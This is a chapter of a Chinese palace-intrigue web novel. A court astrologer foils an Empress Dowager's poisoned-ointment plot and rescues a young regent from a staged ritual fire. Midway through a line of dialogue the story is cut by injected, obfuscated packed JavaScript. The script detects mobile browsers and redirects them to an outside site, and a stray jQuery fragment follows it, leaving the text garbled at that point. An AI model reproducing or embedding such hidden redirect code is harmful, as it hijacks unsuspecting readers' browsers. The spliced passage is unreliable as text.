宣政殿外面是压抑的低云。


    戟璋将战报翻来覆去看，仿佛是难辨的天书。


    默穆宁轻咳一声。战报已至，该裁决的人却不堪其任。


    戟璋目光游移，寻找替他做决策的默穆太后，又忆起今日并无她听政。


    座下大臣起身提醒：“陛下只授殿下一人监国。我等尽力辅佐，请殿下尽快指示，是增援还是固守？”


    戟璋被不软不硬地堵住，愈发烦躁。众臣看似恭敬，样子却隐含轻慢。


    他按捺不住，望向远处的人。


    辛鸽静坐不动，脸色倦白。


    缪儿因丧夫之痛，回来后食不下咽，整日呆呆流泪。辛鸽劝不动，陪着熬了两夜。此时浑身无力。


    感受到无助的视线，辛鸽睁开眼。


    这小鹰雏毛都没长齐，就被戟琮推上殿堂，若他今日折在这里，前线也必受牵连。


    “国师，昨夜星象…”


    戟璋话只说一半，眼神直勾勾盯着她。众臣的目光齐刷刷地转来，


    她按按太阳穴，冷静开口。


    “殿下想问妾身昨夜观星的结果？”她微喘了口气，继续道：“两军仍对峙，昨夜紫微星虽被云气遮蔽，却并未减光。西北狼星微暗，也无异动。”


    戟璋见她愿意给台阶，眼神一亮：“那就是说……”


    辛鸽道：“就是说大军在外后方当稳。殿下达的旨意应是：无需盲目向前线增援，以免乱陛下阵脚。当务之急，是调遣驻军加强宫禁巡逻，严防细作趁机作乱。”


    戟璋如释重负，对众臣道：“知我者莫若国师！就照这个办！”


    默穆宁一直若有所思地关注辛鸽。自然看得出她气息短促，快坐不住了。


    散朝时，文乞跟着辛鸽回到星台。眼神不住往里瞥。魂不守舍的样子任谁都看得出。


    辛鸽回过头，轻叹一声，告诉他缪儿还在榻上躺着，不必挂心，她会照看。


    文乞唇角动了动，最终什么也没说。


    晨阳有些刺眼。


    朝堂一番费神，她已是强弩之末。眼前一黑，脚下踉跄。


    文乞眼疾手快托住她的手肘。


    “将军忠心可嘉，只是过分亲近，恐失体统。”


    雍容而微凉的嗓音，从转角深处缓缓递来。


    默穆太后在宫人的簇拥下走来。满身珠翠流转，富贵迫人。


    辛鸽勉力站稳。


    默穆太后的目光落在辛鸽脸上，先是微微一顿。


    大黎贵妇纵然锦衣玉食，养尊处优，到这年纪，眉眼间也该浮出岁月的影子。


    可她静立在天光里，连颈线都细润如新玉。仍停在最盛的那一年。


    默穆太后指尖在袖中蜷起。心中刺感久久难平。


    “南黎素来礼仪之邦，怎得国师重回大煌王庭，不先来面见我？”太后抚着自己眼角纹路，意味深长，


    辛鸽不动声色地从文乞手中抽出手臂，规规矩矩行礼。


    “妾身自知身份尴尬，太后恐不愿见我，遂告诫自己绝不能出现在太后眼前，免得惹您心烦。”


    软钉子碰回去，默穆太后笑意淡了几分，看向文乞，话锋陡然尖刻。


    “文乞将军乃堂堂统帅，怎可如护卫般跟进跟出，这般形影不离，传出去有损国师清誉，将军又有妻室，名声也不好听。”


    文乞眉峰一沉：“太后明鉴。陛下出征前将令牌交予国师。末将与右厢军只听从国师一人调动。恕末将不敢擅离职守。若太后觉得不妥，待陛下凯旋，末将愿领罚。”


    气氛僵持一时。


    眼见默穆太后眼中隐隐浮现的狠意，辛鸽替文乞解了围：“太后金口既开，往后烦请内侍日夜盯紧宫门，把那些风言风语堵在宫外便是。将军只管顾他该顾的阵。”


    默穆太后没再纠缠，似笑非笑地。仿佛方才的剑拔弩张从未有过。


    “兴宁公主前日传岔了话。水陆法会不是请你来观礼，而是，请国师主持。”


    “国师既掌天机，祈福的大任舍你其谁？”太后步步紧逼，装作倚重。


    水陆法会是后宫祭祀，况且辛鸽本就不赞同巫术祭祀。做不好便是亵渎神灵。若推辞，就是不愿为在外征战的戟琮祈福。


    她垂下眼帘。刀山火海，只要披着为君祈福的外衣，她就必须跳下去。


    默穆太后见她点头，这厢才满意带人离去。


    回到安息殿。


    默穆太后抚上面容，日日敷珍贵的玉容粉，细纹仍无所遁形。


    自辛鸽被掳回那日，旧部早就流言四起，说她容颜未改，起初她只当荒诞戏言。


    “我只比那郎辛氏年长七岁……”她喃喃。


    小厮低声道：“太后，南黎水土养人，世家夫人都有保养秘方……”


    “什么样的秘方能逆天而行？”默穆太后森然一笑，“她的样子绝非脂粉堆砌，身上定有古怪。”


    夜里辛鸽独坐在榻上。寒冷麻痒又开始顺骨缝爬。


    小宫娥捧着个白玉罐子，轻手轻脚走进来。说是缪儿哭了一日好不容易才睡熟，来替她伺候擦药。


    玉盖子揭开，深浓的香气迎面而至。


    辛鸽倦怠地睁开眼。


    戟琮给她备的雪莲膏是在祁连山深处寻来，清苦凛冽，如雪水般干净。


    但今日尾调里却有股甜腥气。


    她吸了吸鼻子，敛容不露。


    “你下去吧，我自己擦。”


    待门关严，她才面色乍一冷。


    拿起罐子，挑了点药膏，放在烛火上炙了一会。


    膏体发出滋滋声。腾起黑烟，


    药的确不对。


    她忽然庆幸，虽被蛊毒折磨多年，嗅觉还未减退。


    满室的甜腻刺鼻熏得头晕。


    她抓起大氅推门而出，想去透口干净的气。


    石阶上积了薄霜，星台背阴处，月光难至。


    走到一半，默穆宁从暗处转出。他满身寒气，像已蛰伏许久。


    四目相对。


    他这才嗅到辛鸽身上沾染的甜气，清朗端肃的脸色顿时阴沉。


    “你…速去沐浴！把这身衣裳也换了！”


    辛鸽倚着墙，神色淡淡：“大人深夜潜伏，就是为了催我去沐浴？”


    “太后疑心你用了白头山蛊，那蛊亦能令人青春常驻，但副作用无人能说得清。且解法凶险。你平素用的药膏，很可能已经被人掺了引蛊粉。”


    他道出惊心谋划：“若你身中此蛊，又涂引蛊粉，明日水陆法会上，待巫师点燃特制的雄黄烟火，烟雾与药性相激……会诱发蛊虫反噬，如同烈火灼烧，皮焦肉烂。届时众目睽睽之下，你妖物的身份便坐实了……”


    辛鸽凝视他一会儿，梨涡在夜色下清浅一现。


    “我并未涂那药膏，多谢大人告知。”


    况且她身上的，可不是那随处可解的蛊。


    默穆宁轻步贴近。


    “夫人，我当年放你，是让你回去找活路的。如今你又回了这虎狼窝。”


    她闻言笑意淡去，“活路早就没了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121218|195830||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。大人通些医理，当年能看出我身中蛊毒，自然也能明白，陛下心中旧账未清。他如此恨我，我逃到哪都算不上脱身。”


    那副冷寂让默穆宁恍然。


    曾经帐中颖悟绝伦，神采清明的女子，再也不见了。


    他只敛眸看她一眼，终究轻叹：“你别这样全然弃守，也许这里，不止有死路。”


    说完，就隐入夜色，来去悄然。


    ……


    次日的皇家祭坛。


    西煌人信奉原始宗教，这场法事既非纯粹旧礼，也算不上真正的水陆法会，祭坛烟雾缭绕，幡旗招展。


    天地苍茫，人声渺渺。


    默穆太后携戟璋坐在观礼台，兴宁公主陪侍在侧。宗室妇女列于两旁。


    辛鸽手持星尺，一众黑衣巫师围列四周，立于高台。


    默穆太后捧着茶盏，唇角浮起绵里藏针的笑。


    仪式进行到燃灯。


    数百盏酥油灯在风中摇曳，诵咒的巫师忽然浑身剧烈抽搐大喊：


    “天降灾厄！”


    他疯魔一般踢翻酥油火盆，


    炙人的酥油倾泻，火舌腾空而起，烈焰如蟒，直冲云霄。


    借西北的劲风，火势不向高台上的辛鸽，反而调头疾卷，如有灵智一般直扑观礼台。


    默穆太后在火起的瞬间就被身边的小厮护着，连退数丈，躲得远远的。


    戟璋呆坐原位，看着那火龙朝自己扑来，竟忘了跑。


    侍卫们听那句天降灾厄，见火势诡异，竟无人敢上前。


    为了制造混乱除掉她，竟然连亲儿子的安危都拿来做赌注。


    若此时她袖手旁观，戟璋不死也要脱层皮。国师引来天罚的罪名，就真的坐实了。


    “除右厢军外，闲杂人等退后！”


    辛鸽毫不慌乱，手中星尺直指还在装神弄鬼的巫师。


    “此乃纵火，并非天罚！谁敢造谣惑众，右厢军杀无赦！”


    她跳下高台。路过供桌时，扯下锦缎帷幔，在旁边的水缸一浸。


    湿透的锦缎瞬间沉得拖着她一跤。


    辛鸽拖着湿锦缎，找到火势低的地方绕进火圈。


    火舌舔上来，热浪直接烧黑她的袖口。


    她看准戟璋的位置，将锦缎一抛，严严实实地盖在了他身上。


    “殿下，趴着先别动！”


    她喝止想泼水小厮：“这是雄黄油火，不可泼水，去找沙土！”


    文乞带人冲了进来，听她喊，立刻指挥铲起祭坛周围的细沙，盖向火源。


    火势被压下。


    浓烟滚滚中，辛鸽掀开锦缎，将惊魂未定的戟璋从地上拽了起来。


    他脸被熏得漆黑，眼神涣散，哭得发抖。


    “殿下！”


    辛鸽用力拍着他脸颊，疾言厉色，“你还没死，哭什么！”


    戟璋猛地打了个激灵，抬眼看。


    母后此刻正站在几丈开外，被一群护卫好好地围着。


    而护着他的，是被他皇兄强掳来的女子。


    辛鸽袖子被烧掉一截，手臂上一大块红肿。


    脸上沾着黑灰，却目光灼灼，镇定如山。带着让他安心的从容。


    “皇……皇嫂……”


    戟璋哽咽一声，下意识抓住她的衣袖，死不松手。


    太后这才仓促上前，步履微乱。


    “璋儿，快让母后看看有没有伤着？”


    她欲牵戟璋。然而手尚未落下，戟璋已本能瑟缩，躲进辛鸽身后，紧贴不离。